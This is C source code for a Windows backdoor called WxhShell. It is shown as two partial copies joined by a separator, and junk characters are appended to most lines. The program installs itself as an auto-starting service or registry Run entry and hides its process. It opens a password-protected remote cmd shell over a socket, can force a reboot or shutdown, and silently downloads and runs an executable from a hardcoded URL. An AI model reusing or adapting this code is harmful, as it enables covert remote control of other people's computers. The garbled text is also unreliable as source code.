    } ,SIS3A>s  
    break; c 4AJ`f.5  
    } "1,*6(;:  
  // 关机 9:2Bt <q  
  case 'd': { IP`lx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OH/9<T?  
    if(Boot(SHUTDOWN)) :A8r{`R'N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8c) eaDu  
    else { 'pt(  
    closesocket(wsh); DWU=qD+  
    ExitThread(0); Ur+U#}  
    } Ae7FtJO  
    break; ]zYIblpde  
    } <,:{Q75  
  // 获取shell X(tx8~z  
  case 's': { e(s0mbJE  
    CmdShell(wsh); 6_%Cd`4Z  
    closesocket(wsh); cq[9#@ 4=  
    ExitThread(0); {YiMd oMhg  
    break; jj`#;Y  
  } Ovx *  
  // 退出 li[[AAWVm  
  case 'x': { h3 H Udu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZQlk 5  
    CloseIt(wsh); 6)1PDlB  
    break; `dm*vd  
    } OkC.e')Vx  
  // 离开 vhF9|('G  
  case 'q': { fd4gB6>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B :%Vq2`  
    closesocket(wsh); 43k'96[2d  
    WSACleanup(); l0'Yq%Nf  
    exit(1); u4hn9**a1  
    break; o%'1=d3R1Q  
        } YXp\C"~g  
  } vN(~}gOd\  
  } G/JGb2I/7|  
N5K(yY_T  
  // 提示信息 -L/%2 X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N)mZ!K44  
} ?pIELezfK  
  } L ,R}l0kc  
6 ZRc|ZQ  
  return; \~8W0q.4M  
} 8(Az/@=n  
F%V|Aa  
// shell模块句柄 Il&F C  
int CmdShell(SOCKET sock) a8TtItN  
{ &S(>L[)9  
STARTUPINFO si; 9&r]k8K  
ZeroMemory(&si,sizeof(si)); `LoRudf_`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (EcP'F*;;y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *w;?&)8%  
PROCESS_INFORMATION ProcessInfo; !BVCuuM>w  
char cmdline[]="cmd"; 'TYO-'aC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N&G'i.w/  
  return 0; D zD5n  
} .iV=ybMT  
-o~zb-E  
// 自身启动模式 J3y _JoS  
int StartFromService(void) uNI&U7_"  
{ C]Fw*t   
typedef struct V(Pw|u" e  
{ +7%?p"gEY\  
  DWORD ExitStatus; 7l7VT?<:  
  DWORD PebBaseAddress; &/[MWQ  
  DWORD AffinityMask; T"P}`mT  
  DWORD BasePriority; b; of9hY  
  ULONG UniqueProcessId; Hx6O Dj[-  
  ULONG InheritedFromUniqueProcessId; ]0'cdC  
}   PROCESS_BASIC_INFORMATION; r ??_2>Q  
E"*E[>  
PROCNTQSIP NtQueryInformationProcess; D`QMlRzXy  
J,,V KA&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9U;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yp(0XP5o  
<U$YJtEK  
  HANDLE             hProcess; 1M`>;fjYa  
  PROCESS_BASIC_INFORMATION pbi; <SJ6<'  
7[=G;2<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8qkQ*uJP  
  if(NULL == hInst ) return 0; eTjPztdJbx  
z(c8]Wu#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9wCgJ$te  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (P? |Bk [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \X\< +KU  
a)W|gx6Y  
  if (!NtQueryInformationProcess) return 0; Y 22Ai  
 pF6u3]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o;wSG81  
  if(!hProcess) return 0; PI L)(%X  
vFHeGq70j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H,c1&hb/w  
*-*V>ntvT$  
  CloseHandle(hProcess); nZ=[6?  
>3g`6d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D0 k ,8|  
if(hProcess==NULL) return 0; kj2qX9 Ms  
#rW-jW=A  
HMODULE hMod; \V'fB5  
char procName[255]; VEa"^{,w  
unsigned long cbNeeded; :C^{Lc  
[BdRx`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,(oolx"Xa  
a9&[Qv5-/  
  CloseHandle(hProcess); \roJf&O }  
pGU .+[|(  
if(strstr(procName,"services")) return 1; // 以服务启动 UQkd$w<  
r1q'+i  
  return 0; // 注册表启动 =~D[M)UO|  
} A ___| #R  
i<m) s$u  
// 主模块 dSjO 12b  
int StartWxhshell(LPSTR lpCmdLine) 7_36xpw  
{ gHh (QRA  
  SOCKET wsl; "E7<S5 cr  
BOOL val=TRUE; >lmqPuf  
  int port=0; aVHID{Gf Z  
  struct sockaddr_in door; +uF}mZ S^  
B!<B7Q  
  if(wscfg.ws_autoins) Install(); |{|B70v3Co  
R7b-/ !L  
port=atoi(lpCmdLine); OE[7fDe'  
5X3JQ"z  
if(port<=0) port=wscfg.ws_port; tHaHBx1P  
bkR~>F]FAu  
  WSADATA data; 0-OKbw5%=b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CC@U'9]bH  
:icpPv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7Z +Fjy-B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kqX %y  
  door.sin_family = AF_INET; pno}`Cer  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]~$@x=p2e  
  door.sin_port = htons(port); ~:,}?9  
_Cf:\Xs m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nGTGX  
closesocket(wsl); Ax|'uvVAPT  
return 1; I`xC0ZUKj  
} mGg/F&G9  
D;2V|CkU  
  if(listen(wsl,2) == INVALID_SOCKET) { [e\IHakj  
closesocket(wsl); 5WHqD!7u  
return 1; ~9@527m<',  
} U*N{H$ACuR  
  Wxhshell(wsl); T/u61}'U{  
  WSACleanup(); m{>"  
x| D|d}  
return 0; |,KsJ2hD  
(' %Y3z;  
} 8d1qRCIz  
yL<u>S0  
// 以NT服务方式启动 hG`@#9|f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }'{"P#e8"q  
{ X9c<g;  
DWORD   status = 0; 73 1RqUR  
  DWORD   specificError = 0xfffffff; d|87;;X|u  
VJA/d2Oys  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AEf[:]i]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l' Li!u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' rXf  
  serviceStatus.dwWin32ExitCode     = 0; N?S;v&q+  
  serviceStatus.dwServiceSpecificExitCode = 0; 'G[G;?F  
  serviceStatus.dwCheckPoint       = 0; H{_D#It  
  serviceStatus.dwWaitHint       = 0; ~U7Bo(EJp  
qoT&N,/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hX,RuI  
  if (hServiceStatusHandle==0) return; 5s%e9x|kP  
cJ?,\@uuP  
status = GetLastError(); Q6 o1^s  
  if (status!=NO_ERROR) 1foG*   
{ :SwA) (1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g<DXJ7o  
    serviceStatus.dwCheckPoint       = 0; _H}hK kG+  
    serviceStatus.dwWaitHint       = 0; Qa9@Q$  
    serviceStatus.dwWin32ExitCode     = status; hb0)<^xu  
    serviceStatus.dwServiceSpecificExitCode = specificError; O.Te"=^"F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 19% "F!^i  
    return; JSq3)o9?/  
  } LO%e1y  
FwKY;^`!d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9A{D<h}yk  
  serviceStatus.dwCheckPoint       = 0; n}9<7e~/  
  serviceStatus.dwWaitHint       = 0; 9I5AYa?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L|D9+u L  
} npytb*[|c  
zSMM?g^T  
// 处理NT服务事件,比如:启动、停止 &&jQ4@m}j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'lEIwJV$  
{ /EHO(d!<  
switch(fdwControl) T.QJ#vKO0  
{ "Ar|i8^G3  
case SERVICE_CONTROL_STOP: [# X} (  
  serviceStatus.dwWin32ExitCode = 0; E>E^t=; [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2!9W:I7  
  serviceStatus.dwCheckPoint   = 0; s LDEa  
  serviceStatus.dwWaitHint     = 0; u46Z}~xfb  
  { -d2)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Kj7or|  
  } 4!3<[J;N;  
  return; ~kpa J'm  
case SERVICE_CONTROL_PAUSE: :|&6x!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v9TIEmZ  
  break; W4#DeT  
case SERVICE_CONTROL_CONTINUE: b{<$OVc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  MkdC*|  
  break; UH7?JF-D  
case SERVICE_CONTROL_INTERROGATE: %y_pF?2@q  
  break; W7.RA>  
}; @qWClr{`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ e<,GUx(]  
} V3|" v4  
5&A' +]  
// 标准应用程序主函数 yI!W658$6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kE+fdr\ T  
{ @^# 9N!Fj]  
&{#6Z  
// 获取操作系统版本 _BgWy#  
OsIsNt=GetOsVer(); b9wC:NgQx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]f`UflMO8  
F }F{/  
  // 从命令行安装 ",5=LW&,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1o_Zw.  
!K=$Q Uq  
  // 下载执行文件 Q?>*h xzoP  
if(wscfg.ws_downexe) { pp#!sRUKPV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %k"hzjXAw  
  WinExec(wscfg.ws_filenam,SW_HIDE); wT3D9N.  
} =_6 Q26  
yk^2<?z>2  
if(!OsIsNt) { *.A-UoHa  
// 如果时win9x,隐藏进程并且设置为注册表启动 (KvN#d 1\  
HideProc(); %Zfh6Bl\X  
StartWxhshell(lpCmdLine); cF iTanu  
} <)J@7@!P  
else A??a:8id^  
  if(StartFromService()) jCx*{TO  
  // 以服务方式启动 8A*tpMV?J  
  StartServiceCtrlDispatcher(DispatchTable); i$:yq.DW  
else fI.X5c>WK  
  // 普通方式启动 a>ye  
  StartWxhshell(lpCmdLine); |1<B(iB'{/  
uzp\<\d-t  
return 0; g<w1d{Td  
} d;3f80Kd*  
bx7hQzoX=b  
5yW}#W>  
l r~>!O  
=========================================== 8@6*d.+e  
u2':~h?l  
c*(=Glzn  
rc`Il{~k  
!0Ak)Q]e'  
a_DK"8I  
" `sv]/8RN  
ZXbq5p_  
#include <stdio.h> b+dmJ]c  
#include <string.h> HR  
#include <windows.h> h9nh9a(2  
#include <winsock2.h> hA`9[58/  
#include <winsvc.h> gxVJH'[V5  
#include <urlmon.h> 0N6 X;M{zh  
wSALK)T1{  
#pragma comment (lib, "Ws2_32.lib") _jVJkg)]  
#pragma comment (lib, "urlmon.lib") ;ae6h [  
Kr4%D*  
#define MAX_USER   100 // 最大客户端连接数 daf-B-  
#define BUF_SOCK   200 // sock buffer ,z((?h,nm  
#define KEY_BUFF   255 // 输入 buffer 6hFs{P7  
"`pg+t&  
#define REBOOT     0   // 重启 zR=g<e1xe  
#define SHUTDOWN   1   // 关机 bDegIW/'w  
~ihi!u%~}  
#define DEF_PORT   5000 // 监听端口 S!iDPl~  
# ?u bvSdU  
#define REG_LEN     16   // 注册表键长度 ?]}=4  
#define SVC_LEN     80   // NT服务名长度 D{+D.4\  
1P BnGQYM  
// 从dll定义API ((BdT:T\_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pC&i!la{o}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 09iD| $~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LG?b]'#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bvJ*REPL ?  
+xr;X 9  
// wxhshell配置信息 1aUu:#c  
struct WSCFG { I wu^@  
  int ws_port;         // 监听端口 |g\CS4$  
  char ws_passstr[REG_LEN]; // 口令 Ml_!)b  
  int ws_autoins;       // 安装标记, 1=yes 0=no "x3!F&  
  char ws_regname[REG_LEN]; // 注册表键名 ?J"Y4,{  
  char ws_svcname[REG_LEN]; // 服务名 `K2vG`c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fKs3H?|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CZCVC (/u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2\Yv;J+;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |fn%!d`2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U71A#OD^U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L[:M[,?=`  
.4=A:9  
}; d%1 Vby  
`_{,4oi  
// default Wxhshell configuration gg Hl{cl)  
struct WSCFG wscfg={DEF_PORT, 6U] "i  
    "xuhuanlingzhe", n+'s9  
    1, t.7_7`bin~  
    "Wxhshell", $bk_%R}s  
    "Wxhshell", A&Q!W)=  
            "WxhShell Service", Ez>!%Hpn\  
    "Wrsky Windows CmdShell Service", sgB|2cj;j  
    "Please Input Your Password: ", l-'\E6grdH  
  1, ?&b"/sRS  
  "http://www.wrsky.com/wxhshell.exe", z)*\njYe  
  "Wxhshell.exe" 1| xKb (_l  
    }; uF T5Z  
(`f)Tt=`  
// 消息定义模块 &Qv%~dvW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D._7)$d  
char *msg_ws_prompt="\n\r? for help\n\r#>";  Z Mf,3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J]&nZud`  
char *msg_ws_ext="\n\rExit."; uq]E^#^  
char *msg_ws_end="\n\rQuit."; 3^F1hCB  
char *msg_ws_boot="\n\rReboot..."; Wp= &nh  
char *msg_ws_poff="\n\rShutdown..."; X'cm0}2  
char *msg_ws_down="\n\rSave to "; A~wyn5:_  
.wuRT>4G)G  
char *msg_ws_err="\n\rErr!"; p/jAr+XM  
char *msg_ws_ok="\n\rOK!"; z`|E0~{-  
9/5 EyV  
char ExeFile[MAX_PATH]; tkhEjTZ  
int nUser = 0; -k3WY&9,  
HANDLE handles[MAX_USER]; ]8XIw`:f  
int OsIsNt; 9OM&&Ue<E  
X^. ~f+d~  
SERVICE_STATUS       serviceStatus; V}t8H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J2$ =H1-  
I,?!NzB  
// 函数声明 7FP @ vng  
int Install(void); +|spC  
int Uninstall(void); ; 5!8LmZ0#  
int DownloadFile(char *sURL, SOCKET wsh); ;:ocU?  
int Boot(int flag); $/P\@|MqYQ  
void HideProc(void); 8EZ,hY^  
int GetOsVer(void); 9CHn6 v ~)  
int Wxhshell(SOCKET wsl); P6 mDwR  
void TalkWithClient(void *cs);  W o$UV  
int CmdShell(SOCKET sock); El3Ayd3  
int StartFromService(void); i&,1  
int StartWxhshell(LPSTR lpCmdLine); z~yLc{M  
ZF;s`K)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (FNX>2Mv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N_y#Y{c{(  
(7}Zh|@W  
// 数据结构和表定义 `qr.@0whP  
SERVICE_TABLE_ENTRY DispatchTable[] = lJBZ0  
{ iSj.lW  
{wscfg.ws_svcname, NTServiceMain}, a(+u"Kr z  
{NULL, NULL} i8(n(  
}; IS }U2d,W  
O:[@?l  
// 自我安装 VN<baK%]  
int Install(void) ( z%t  
{ J y0TVjA  
  char svExeFile[MAX_PATH]; $ 4A!Y  
  HKEY key; {Gr"oO`&"  
  strcpy(svExeFile,ExeFile); V?z-Dt C  
)yv~wi  
// 如果是win9x系统,修改注册表设为自启动 >4AwjS }H  
if(!OsIsNt) { coc :$Sr%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P, SI0$Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kr;F4G|Qt  
  RegCloseKey(key); aW$))J)0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )mRKIM}*W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A-qpuI;f  
  RegCloseKey(key); W:=CpbwENX  
  return 0; ZY> u4v.  
    } ;F>I+l_X  
  } Y]HtO^T2  
} 0:k MnHn\  
else { 0XrOOYmx  
Hbz,3{o5  
// 如果是NT以上系统,安装为系统服务 BjbpRQ,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '3ZYoA%  
if (schSCManager!=0) >U') ICD~  
{ H6-{(: *<  
  SC_HANDLE schService = CreateService #h7 $b@  
  ( 'd|E>8fejG  
  schSCManager, <=!|U0YV  
  wscfg.ws_svcname, #Xd#Nc j  
  wscfg.ws_svcdisp, =`BPGfC b  
  SERVICE_ALL_ACCESS, Ix|^c268o<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pB0Do6+{  
  SERVICE_AUTO_START, Qx !! Ttd{  
  SERVICE_ERROR_NORMAL, -;o`(3wZq  
  svExeFile, b 'yW+  
  NULL, 2/FH9T;e".  
  NULL, d0@czNWIC  
  NULL, aOo;~u2-=  
  NULL, O7tL,)Vv  
  NULL uB uwE6  
  ); 9IG3zMf  
  if (schService!=0) G@Vz }B:=  
  { ( 0Z3Ksfj1  
  CloseServiceHandle(schService); G@]|/kN1y  
  CloseServiceHandle(schSCManager); lIL{*q(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,V:RE y  
  strcat(svExeFile,wscfg.ws_svcname); TGQDt|+Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;Ajy54}7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N&+DhKw  
  RegCloseKey(key); mnWbV\VY  
  return 0; W/| C  
    } @V# wYt  
  } 834dsl+U  
  CloseServiceHandle(schSCManager); ,4z?9@wQ  
} f@= lK?Pfh  
} IpMZ{kJlv`  
_79 ?,U]  
return 1; Y=N; Bj  
}  <E&"]  
k34!*(`q  
// 自我卸载 qfzT8-Y  
int Uninstall(void) db.E-@W.OI  
{ s|=.L&"   
  HKEY key; =D~RIt/D  
B3|rO  
if(!OsIsNt) { #NLLl EE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1)f~OL8o  
  RegDeleteValue(key,wscfg.ws_regname); y[@<goT  
  RegCloseKey(key); k/ ZuFTN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9d!}]+"d42  
  RegDeleteValue(key,wscfg.ws_regname); -a$7b;gF  
  RegCloseKey(key); XZ8;Ow=  
  return 0; mh8~w~/[  
  } A?sU[b6_  
} PNMf5'@m  
} x2g P, p-  
else { 13T0"}  
A/"p PO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2i~qihx5^  
if (schSCManager!=0) \V,;F!*#G  
{ )\TI^%s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sZhl.[&zo  
  if (schService!=0) QWBQ 0#L  
  { \aO.LwYm;:  
  if(DeleteService(schService)!=0) { a,N?GxK~  
  CloseServiceHandle(schService); nu#_,x<LS  
  CloseServiceHandle(schSCManager); p@7[w@B\c  
  return 0; UPkD^D,  
  } !zNMU$p  
  CloseServiceHandle(schService); _}B:SM  
  } R?Or=W)i  
  CloseServiceHandle(schSCManager); kDG'5X;+  
} jHx<}<  
} Uwqm?]  
_(8HK  
return 1; h7S&tW GU  
} wB;'+d&  
?=uw0~O[  
// 从指定url下载文件 ep<2u x  
int DownloadFile(char *sURL, SOCKET wsh) 97um7n  
{ Ng} AEAFp  
  HRESULT hr; "HQH]?!k  
char seps[]= "/"; :bA@ u>  
char *token; AT{ewb  
char *file; RZ[r XV5  
char myURL[MAX_PATH]; )ccd fSe  
char myFILE[MAX_PATH]; 4%I(Z'*Cx  
E0Vl}b  
strcpy(myURL,sURL); 7^J-5lY3S  
  token=strtok(myURL,seps); J dDP  
  while(token!=NULL) df7z& {R  
  { THmX=K4=?  
    file=token; ZK[S'(6q  
  token=strtok(NULL,seps); }hFjl4`xa  
  } ;mLbJT   
2Ax HhD.  
GetCurrentDirectory(MAX_PATH,myFILE); Tdr^~dcQ  
strcat(myFILE, "\\"); [-sE:O`yt  
strcat(myFILE, file); [N/[7Q/y  
  send(wsh,myFILE,strlen(myFILE),0); u= K?K  
send(wsh,"...",3,0); snBC +`-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <'4DMZ-G  
  if(hr==S_OK) w%1B_PyDg  
return 0; 7 '@l?u/6  
else B K'!WX  
return 1; <L__;j1Wx  
4>gMe3]0  
} g'`J'6Pn  
)]%GNdU  
// 系统电源模块 k:w\4Oqd  
int Boot(int flag) q*ZjOqj  
{ { A(= phN  
  HANDLE hToken; AX%9k  
  TOKEN_PRIVILEGES tkp; :!1B6Mc  
yVxR||e  
  if(OsIsNt) { ]*^mT&$7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5|-(Ic  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [JGa3e  
    tkp.PrivilegeCount = 1; *Df|D/,WE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y 1 i!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nFlj`k<]Y  
if(flag==REBOOT) { 'PlKCn`(w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nYuZg6K  
  return 0;  jK&kQ  
} x]k^JPX  
else { M)#R_(Q5{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n\ma5"n0=\  
  return 0; F,e_`  
} O;:8mm%(  
  } ^AD/N|X^  
  else { C/[2?[  
if(flag==REBOOT) { OZ_'& CZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~R)Km`t  
  return 0; S&V5zB""n  
} 'W$jHs  
else { f$k#\=2%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )4a&OlEI  
  return 0; CPGXwM=   
} fh \<tnY  
} H#G~b""mY  
11 .RG *  
return 1; HqU"i Y>b  
} [6 !/  
{61NLF\0H  
// win9x进程隐藏模块 %.b)%=  
void HideProc(void) ;=Bf&hY&  
{ -Tk~c1I#`  
ha'oLm#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6[c LbT0  
  if ( hKernel != NULL ) $+ZO{ (  
  { tGD$cBE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;'pEzz?k"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~?6V-m{>#  
    FreeLibrary(hKernel); `a2Oj@jP  
  } g=[ F W@z  
qrNW\ME  
return; R6)p4#|i  
} $RKd@5XP  
&tQ,2RT  
// 获取操作系统版本 'mug,jM  
int GetOsVer(void) m{x!uq  
{ uwWfL32  
  OSVERSIONINFO winfo; .Kq>/6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i2$U##-ro]  
  GetVersionEx(&winfo); d Z"bc]z{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dp2".  
  return 1; bK("8T\?  
  else S_6`.@B}  
  return 0; 7esG$sVj(  
} tZU"Ud  
4I^6[{_  
// 客户端句柄模块 F)_Rs5V:(  
int Wxhshell(SOCKET wsl) Ajq;\- :  
{ 4\2p8__  
  SOCKET wsh; \Ul*Nsw  
  struct sockaddr_in client; akBR"y:~:H  
  DWORD myID; rEdr8qw  
r em&F'x0V  
  while(nUser<MAX_USER) *u7C){)gr[  
{ p0$K.f| ^  
  int nSize=sizeof(client); B {/Pv0y   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z8>KY/c  
  if(wsh==INVALID_SOCKET) return 1; klUxt?-  
!U,qr0h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q&Q* gEFK  
if(handles[nUser]==0) 9|Jmj @9  
  closesocket(wsh); 8o4<F%ot  
else F!`.y7hY@  
  nUser++; g=b[V   
  } $|6Le; K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cdP+X'Y4D  
))G%C6-  
  return 0; Si*Pi  
} GMgsM6.R  
,$vc*}yI0  
// 关闭 socket w*#k&N[X  
void CloseIt(SOCKET wsh) k%:]PQjYT  
{ #&r^~>,#L-  
closesocket(wsh); AWQwpaj-  
nUser--; dm.?-u;C  
ExitThread(0); tI{ n!  
} W3*WR,z  
{ j&|Em]  
// 客户端请求句柄 j^iH[pN] \  
void TalkWithClient(void *cs) |mk$W$h  
{ j=dHgnVvj  
PM=I  
  SOCKET wsh=(SOCKET)cs; SP HeI@i  
  char pwd[SVC_LEN]; @/anJrt  
  char cmd[KEY_BUFF]; 3'u%[bx E  
char chr[1];  T_jwj N  
int i,j; !pw%l4]/t  
"@GopD  
  while (nUser < MAX_USER) { ^o:0 Y}v=  
*M+:GH/5  
if(wscfg.ws_passstr) { 8xg:ItJaA0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bU2)pD!N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sqc*u&W  
  //ZeroMemory(pwd,KEY_BUFF); Kj}hb)HU  
      i=0; (sJ{27b_  
  while(i<SVC_LEN) { _rs!6tp  
A_Sl#e  
  // 设置超时 _=q)lt-UY  
  fd_set FdRead; }#EiL !Pv  
  struct timeval TimeOut; c4L5"_#`x-  
  FD_ZERO(&FdRead); RS<c&{?  
  FD_SET(wsh,&FdRead); y"$|?187x  
  TimeOut.tv_sec=8; ./5|i*ow  
  TimeOut.tv_usec=0; wzo-V^+q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fRaVY`|wK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1;vn*w`p  
@%ChPjN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r1ctW#\~8  
  pwd=chr[0]; YIgzFt[L  
  if(chr[0]==0xd || chr[0]==0xa) { wvT!NN K2  
  pwd=0; 4w]u: eU  
  break; +Z)||MR"  
  } W1r-uR  
  i++; @U5 +1Hjc  
    } ( M.Sl  
RU_=VB %  
  // 如果是非法用户,关闭 socket zMtK_ccQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jh\q2E~,`  
} X?4tOsd  
% OiSuw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rm3 ~]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i1  SP  
?$-OdABXHK  
while(1) { u4z]6?,"e  
uZmfvMr3  
  ZeroMemory(cmd,KEY_BUFF); w{2V7*+l  
e *;"$7o9  
      // 自动支持客户端 telnet标准   mtmBL 2?  
  j=0; ':o.vQdJ  
  while(j<KEY_BUFF) {  <MvFAuAT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f_D1zU^  
  cmd[j]=chr[0]; /,E%)K;  
  if(chr[0]==0xa || chr[0]==0xd) { 6sQ"go$}  
  cmd[j]=0; QnaMjDh$6  
  break; <Er|s^C  
  } fB  
  j++; @f*/V e0.  
    } 5IdmKP|  
nV:.-JR  
  // 下载文件 3gv>AgG  
  if(strstr(cmd,"http://")) { A "_;.e`  
